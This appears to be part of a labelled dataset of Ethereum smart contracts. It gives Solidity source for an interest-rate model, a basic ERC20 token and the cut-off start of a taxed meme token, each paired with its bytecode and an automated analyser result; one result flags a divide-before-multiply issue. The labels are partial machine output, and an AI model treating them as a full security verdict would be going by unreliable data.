function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Strike's JumpRateModel Contract V2
* @author Strike (modified by Dharma Labs)
* @notice Version 2 modifies Version 1 by enabling updateable parameters.
*/
contract JumpRateModelV2 is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink);
/**
* @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly
*/
address public owner;
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice The multiplierPerBlock after hitting a specified utilization point
*/
uint public jumpMultiplierPerBlock;
/**
* @notice The utilization point at which the jump multiplier is applied
*/
uint public kink;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
* @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly)
*/
constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) public {
owner = owner_;
updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_);
}
/**
* @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock)
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
*/
function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external {
require(msg.sender == owner, "only the owner may call this function.");
updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
/**
* @notice Internal function to update the parameters of the interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
*/
function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_));
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b14610167578063a385fb961461018b578063b816881614610193578063b9f9850a146101c2578063f14039de146101ca578063fd2da339146101d2576100a9565b806315f24053146100ae5780632037f3e7146100e95780632191f92a1461011a5780636e71e2d8146101365780638726bb891461015f575b600080fd5b6100d7600480360360608110156100c457600080fd5b50803590602081013590604001356101da565b60408051918252519081900360200190f35b610118600480360360808110156100ff57600080fd5b50803590602081013590604081013590606001356102b2565b005b61012261030d565b604080519115158252519081900360200190f35b6100d76004803603606081101561014c57600080fd5b5080359060208101359060400135610312565b6100d7610364565b61016f61036a565b604080516001600160a01b039092168252519081900360200190f35b6100d7610379565b6100d7600480360360808110156101a957600080fd5b5080359060208101359060408101359060600135610380565b6100d76103ff565b6100d7610405565b6100d761040b565b6000806101e8858585610312565b9050600454811161023a57610232600254610226670de0b6b3a764000061021a6001548661041190919063ffffffff16565b9063ffffffff61047316565b9063ffffffff6104b516565b9150506102ab565b6000610265600254610226670de0b6b3a764000061021a60015460045461041190919063ffffffff16565b9050600061027e6004548461050f90919063ffffffff16565b90506102a582610226670de0b6b3a764000061021a6003548661041190919063ffffffff16565b93505050505b9392505050565b6000546001600160a01b031633146102fb5760405162461bcd60e51b81526004018080602001828103825260268152602001806107106026913960400191505060405180910390fd5b61030784848484610551565b50505050565b600181565b600082610321575060006102ab565b61035c61034483610338878763ffffffff6104b516565b9063ffffffff61050f16565b61021a85670de0b6b3a764000063ffffffff61041116565b949350505050565b60015481565b6000546001600160a01b031681565b6220148081565b60008061039b670de0b6b3a76400008463ffffffff61050f16565b905060006103aa8787876101da565b905060006103ca670de0b6b3a764000061021a848663ffffffff61041116565b90506103f3670de0b6b3a764000061021a836103e78c8c8c610312565b9063ffffffff61041116565b98975050505050505050565b60035481565b60025481565b60045481565b6000826104205750600061046d565b8282028284828161042d57fe5b041461046a5760405162461bcd60e51b81526004018080602001828103825260218152602001806106ef6021913960400191505060405180910390fd5b90505b92915050565b600061046a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506105f2565b60008282018381101561046a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061046a83836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f7700815250610694565b610564846220148063ffffffff61047316565b60025561057d610344622014808363ffffffff61041116565b600155610593826220148063ffffffff61047316565b60038190556004829055600254600154604080519283526020830191909152818101929092526060810183905290517f6960ab234c7ef4b0c9197100f5393cfcde7c453ac910a27bd2000aa1dd4c068d9181900360800190a150505050565b6000818361067e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561064357818101518382015260200161062b565b50505050905090810190601f1680156106705780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161068a57fe5b0495945050505050565b600081848411156106e65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561064357818101518382015260200161062b565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776f6e6c7920746865206f776e6572206d61792063616c6c20746869732066756e6374696f6e2ea265627a7a7231582019016e19f9cb1876121aab61d0141122b6105b1a02556194c30c0a83d2548a4964736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,089 |
0x5E4E139459d99835041c2dd5a6E4178FA115Fb5A
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IEIPERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title StandardToken
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract StandardToken is IEIPERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
}
contract DefuToken is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
constructor(address owner,
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol) public {
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
_mint(owner, _initialAmount);
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e2565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ec565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108f4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610907565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3e565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b86565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c24565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5b565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e72565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b600061077d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610808848484610f1a565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561094457600080fd5b6109d382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c6157600080fd5b610cf082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e68338484610f1a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610f0b57600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5657600080fd5b610fa7816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082840190508381101515156110fd57600080fd5b80915050929150505600a165627a7a72305820990262d10061cdf77583167d5844c39f431ce4df4965fec9467c3975a5a3f5a80029
|
{"success": true, "error": null, "results": {}}
| 6,090 |
0xc810151e81cc4b518e90cd7486413ed77dadb524
|
/**
The name "Ino" is short for "Inoshishi" which means "boar"
total supply:1,000,000,000
max buy:10,000,000
max wallet:20,000,000
Tax:
3% Reflections
4% Marketing
3% Dev
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SaitamaIno is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Saitama Ino";//
string private constant _symbol = "SAITAMAINO";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 7;//
//Original Fee
